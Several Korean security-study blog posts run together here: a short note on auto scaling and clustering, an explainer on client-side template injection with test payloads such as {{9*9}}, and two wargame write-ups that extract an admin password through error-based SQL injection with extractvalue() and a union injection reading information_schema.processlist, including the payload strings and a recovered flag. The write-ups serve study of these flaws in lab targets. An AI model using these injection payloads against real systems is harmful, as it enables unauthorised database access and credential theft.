오토 스케일링(Auto Scaling)과 클러스터링(Clustering)

공통점 : 컴퓨터 시스템의 효율성과 성능을 개선하기 위한 기술
차이점 : 오토 스케일링 - 가변적인 부하 대응 / 클러스터링 - 여러 대의 고정된 서버들 묶어서 작업 분산

오토 스케일링 (Auto Scaling):
클라우드 환경에서 사용되는 기술로, 애플리케이션 또는 서비스의 부하량에 따라 자동으로 리소스를 조절하여 성능을 최적화하는 것
사용자 트래픽 증가로 인해 부하가 증가하면 오토 스케일링은 자동으로 가상 서버 인스턴스를 추가하여 부하를 분산시키고, 트래픽이 감소하면 인스턴스를 줄여 비용 절감
유동적인 트래픽 패턴에 대응하기 위한 방식


클러스터링 (Clustering):
클러스터링은 여러 컴퓨터나 서버를 하나의 그룹으로 묶어서 작업을 분산하거나 고가용성을 확보하는 기술로, 클러스터링은 주로 애플리케이션의 가용성과 신뢰성을 높이기 위해 사용하는 것
여러 대의 서버를 하나의 클러스터로 묶어 로드 밸런싱을 통해 트래픽을 분산하고, 한 대의 서버에 장애가 발생하더라도 다른 서버가 작업을 계속 처리할 수 있도록 함

 

 

번외,
로드 밸런싱 : 서버가 처리해야 하는 요청이 과도하게 한쪽으로 몰리는 것을 방지하기 위해 여러 대의 서버로 나눠서 처리하는 것

방식 : scale-up (수직적으로 성능 높이기)  / scale - out (비슷한 성능을 가진 서버들의 총 개수 늘리기)

'WEB' 카테고리의 다른 글

CVE-2021-44228(log4j 취약점) 취약점 실습  (0) 2023.10.25
burp proxy 설정 관련  (0) 2023.10.23
CSTI XSS  (0) 2023.08.26
API 이해  (0) 2023.07.06
OWASP TOP 10 참고링크  (0) 2023.06.09

Client Side Template Injection XSS

: 클라이언트 측에서 사용하는 템플릿에 임의의 코드를 주입하는 공격
공격자 관점에서 템플릿 표현식 + 자바스크립트 구문 조합을 통해 XSS 시도
결과값이나 영향도는 XSS와 유사

 

*샌드박스 : 외부로부터 전달받은 파일을 바로 실행하지 않고 보호된 영역에서 실행시켜봄으로써,
외부로부터 들어온 파일과 프로그램이 내부에 영향을 끼치는지 여부를 검사하는 기술

- 주로 사용되는 payload
$eval : 샌드박스 환경에서 허용되는 함수
객체 : toString(), charAt(), prototype, constructor 등
표현식 : {{}}, [] 

위 객체와 표현식을 통해서 샌드박스를 벗어나게 하여 외부 요청값에서 전달받은 스크립트 실행하도록 유도

- 테스트 payload (CSTI XSS가 먹히는지 확인)
{{9*9}}
${9*9}
${{9*9}}
<%= 9*9 %>
#{9*9}

output : 81로 계산되어서 나오면 공격시도 가능

 

구체적인 공격 코드는 아래 참조

https://guleum-zone.tistory.com/195

 

CSTI(Client Side Template Injection) 취약점

CSTI 란? Client Side Template Injection으로 클라이언트 측에서 사용되는 템플릿에 임의 구문을 주입한다는 의미를 가집니다. 브라우저 상에서 입력된 템플릿 표현식을 프론트 측에서 이해하고 원하는

guleum-zone.tistory.com

 

'WEB' 카테고리의 다른 글

burp proxy 설정 관련  (0) 2023.10.23
오토 스케일링(Auto Scaling)과 클러스터링(Clustering)  (0) 2023.08.30
API 이해  (0) 2023.07.06
OWASP TOP 10 참고링크  (0) 2023.06.09
톰캣 보안 조치  (0) 2023.05.25

error based 를 이용하여 admin에 해당하는 upw를 찾으면 된다. 

error based 에서 사용할 수 있는 기법

1. extractvalue() 함수 이용

2. 수용가능한 double 값 이상의 값 넣어서 에러 발생시키기

 

가장 이해가 안되었던  기법  : extractvalue() 

extractvalue()함수는 2개의 인자가 필요하다.
첫번째 인자에는 xml 코드가, 두번째 인자에는 xpath 식이 들어간다.
이때, 두번째 인자인 xpath 식이 올바르지 않다면 에러 메시지에 에러 메시지에 삽입한 식의 결과가 그대로 출력된다.
이 점을 이용해서 DB정보 확인이 가능하다는 것.

첫번째 인자 : 1

두번째 인자 :  concat( 0x3a , (select password from users where usernam='admin') )

여기서 0x3a는 : 를 의미한다. : 를 사용하는 이유는 올바르지 않은 xpath 표현식이 되도록 하기 위함이다. 
즉, xpath 식 자리에  [  : #@$@!!~ ]  이런 양식이면 error를 발생한다는 점이다.

에러 메시지를 출력하면서 select문이 자동 실행됨을 이용한 취약점이다.

 

본론으로 돌아가서 이 extractvalue() 함수를 이용해서 문제를 풀어보았다.

payload : ' and extractvalue(1,concat(0x3a, version()));--

입력값에 위 payload 입력시 : 뒤에 DB 서버 버전 정보가 노출됨을 알 수 있다.

payload : ' and extractvalue(1,concat(0x3a, user()));--

현재 db의 유저 정보도 확인 가능하다.

 

mariaDB는 Mysql 계열이기 때문에 select 없이도 쿼리가 실행가능하다. 단, 괄호 필수

payload : ' and extractvalue(1,concat(0x3a, (select version())));--

payload: ' and extractvalue(1,concat(0x3a, (select upw from user where uid='admin')));--

단, 만약 입력값에 admin 문자열을 필터링하고 있다면... 

' and extractvalue(1,concat(0x3a, (select upw from user limit 0, 1)));--

limit 0, 1을 이용해서 admin을 찾아야 한다. 

보통 테이블에서 첫번째열은 id, 두번째열은 pw이므로....

 

 

flag값이 잘 보이는 듯.///

했지만 뒷 부분이 짤렸다ㅠㅠ

그러면 substr을 이용해서 한글자씩 찾아보자

 

payload :  ' and extractvalue(1,concat(0x3a, (select substr(upw,1,1) from user where uid='admin')));--

맨 첫 글자가 잘 나옴을 확인하였다. 뒷 부분을 찾아보자.

DH{c3968c78840750168774ad951 여기까지 총 28자리이므로, 뒷 부분이 더 있는지 확인한다.

payload : ' and extractvalue(1,concat(0x3a, (select substr(upw,28,30) from user where uid='admin')));--

28자리부터 어디까지 있는지 모르지만 28에서 부터 30만큼 떨어진 문자까지 모두 출력하도록 하였다.

28자리가 1이므로 이어붙이면 된다.

 

DH{c3968c78840750168774ad951fc98bf788563c4d}

 

solve!!!!!!!!

'WEB > Dreamhack' 카테고리의 다른 글

[WEB-dreamhack] PHPreg  (0) 2024.01.24
[WEB-dreamhack] blind-command  (0) 2024.01.24
[WEB - Wargame] login-1  (0) 2022.02.04
[WEB - Wargame] devtools-sources  (0) 2022.02.03
[WEB - Wargame] Tomcat Manager  (0) 2022.02.03

이전 문제랑 해결법은 비슷하다. 입력값과 결과값이 동일해야 한다는 점인데...

이번에는 'ace' 라는 문구를 필터링하고 있기에 replace()함수를 쓸 수 없다..

그래서 결국 구글의 힘을 빌려서 살짝 힌트를 얻었다.

 

바로 information_schema.processlist 를 이용하는 것

show processlist;

mysql 테스트 페이지에서 processlist에 대해서 알아봤다.

일단, INFORMATION_SCHEMA 에 대한 이해가 필요해 보인다. (이참에 공부..)


INFORMATION_SCHEMA 란

mysql 서버 내 존재하는 DB의 메타 정보들(DB내 테이블 정보, 컬럼 정보, 인덱스 등)을 저장하고 있는 DB이다.

INFORMATION_SCHEMA는 read_only이다

INFORMATION_SCHEMA에 대한 테이블 및 컬럼 정보는 다음 링크에서 참고 가능하다.

https://tempuss.tistory.com/entry/DataBaseinformationschema

 

DataBase(information_schema)

DataBase는 다양한 정보의 집합이다.하지만 방대한 양의 데이터를 하나하나 처리하기 위해선 시간이 오래걸리므로 미리 데이터에 대한 정보를 정리해 놓는다.이것을 메타데이터라고 하는데 informa

tempuss.tistory.com

테이블 중 processlist 라는 테이블은 현재 실행중인 프로세스에 대한 정보를 주는 것 같다.

select * from information_schema.processlist;

SQLtest 사이트에서 테스트해본 결과 현재 프로세스에 대한 정보들을 확인할 수 있는데 INFO 컬럼에는 실제 SQL 쿼리문이 그대로 들어가 있음을 알 수 있다.

이 점을 이용하여, pw에 들어가는 입력값 = info 컬럼 값 동일하도록 불러오면 문제를 풀 수 있을 것 같다.

select info from information_schema.processlist;

info컬럼을 조회하면 실제 쿼리문과 동일하게 불러온다. 그러면 이것을 문제에 적용해보자.

 


payload : pw = ' ' union select 1 # '

저번 문제와 동일하게 union select 문을 써서 입력값 = 결과값 동일하게 만들어야 한다. 

지금으로써는
입력값 : ' union select 1 # 
결과값 : 1 

앞에 ' union select 는 사라진다.. 

sql test 사이트에서 union select 문에서도 processlist가 먹히는지 확인했다. 매우 결과 잘나옴

select 1 union select info from information_schema.processlist;

위에서 만든 쿼리를 입력해봤더니 뒤에 내가 입력한 값 ' union select info from ~ 부분만 찍혀야 되는데 전체 쿼리문이 모두 찍혔다..

뭔가 잘못되었다.

분명 내가 입력한 값 : ' union select info from information_schema.processlist # 

이게 들어가야 되는데 앞에 select pw from ~ 쭉 모든 쿼리가 반환되고 있다. processlist 는 전체 쿼리문을 모두 반환하기 때문에 여기서 내가 필요한 부분만 뽑아내야겠다. 내가 입력한 값과 동일하게 빼내야 한다.

위 문제에서 현재 info 컬럼의 값은 

select pw from prob_zombie where pw='' union select info from information_schema.processlist #'

이니..

여기서 ' union select ~ 만 뽑으려면 substr() 함수를 이용하여 시작점에서 부터 특정 글자수 만큼 자를 수 있다.

select 1 union select substr(info,1,10) from information_schema.processlist;

먼저 sql 테스트 사이트에서 구문을 테스트해본 결과 (1)첫번째서부터 (10) 10개 까지 자르는 것을 확인할 수 있다.

입력 쿼리 : select 1 union select substr(info,1,10) from information_schema.processlist;
결과 쿼리 : select 1 u     # 띄어쓰기포함 10자리

우리는 ' union select ~ 부터 필요하므로...

이 상태의 쿼리(노란색 칠한 부분)에서 ' union select 부터 끝까지 자르면 된다.

 


1차 시도 

전체 쿼리 : select pw from prob_zombie where pw=' ' union select substr(info,10,20) from information_schema.processlist # '

에서 info(10,20) 10번째글자부터 시작해서 20글자를 세서 자르면 from prob_zombie wh 까지 보인다. 

 

2차 시도 

전체 쿼리 : select pw from prob_zombie where pw=' ' union select substr(info,30,20) from information_schema.processlist # '

에서 30번째 글자부터 시작해서 20글자를 세면 거의 근접하게 왔다. 

 

※ 일단 내가 입력하는 입력값의 길이는

' union select substr(info,??,??) from information_schema.processlist #   총 70글자이다.

substring함수의 두번째 인자는 70을 고정으로 하고 첫 시작 offset만 찾아도 시간단축이 될 것이다...

 

3차 시도 

전체 쿼리 : select pw from prob_zombie where pw=' ' union select substr(info,40,70) from information_schema.processlist # '

40번째를 시작점으로 했는데 다 들어오는 것 같아보이지만 마지막에 싱글쿼터 (') 도 포함되어 있고 맨 앞 싱글쿼터 (') 도 없다..

 

4차 시도 

얼추 맞는 거 같은데 잘 보면 맨 마지막에 %23(#)이 빠져있었다

 

5차 시도 

substr 두번째 인자인 문자열 길이를 한 글자 늘려줬더니 잘 풀렸다..

 

replace()보다 쉬운 듯..

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step33. cthulhu풀이  (0) 2023.08.31
[LOS] step32. alien풀이  (0) 2023.08.30
[LOS] step30. ouroboros 풀이  (0) 2023.07.05
[LOS] step28. FRANKENSTEIN 풀이  (0) 2023.07.03
[LOS] step27. blue_dragon 풀이  (0) 2023.06.22

+ Recent posts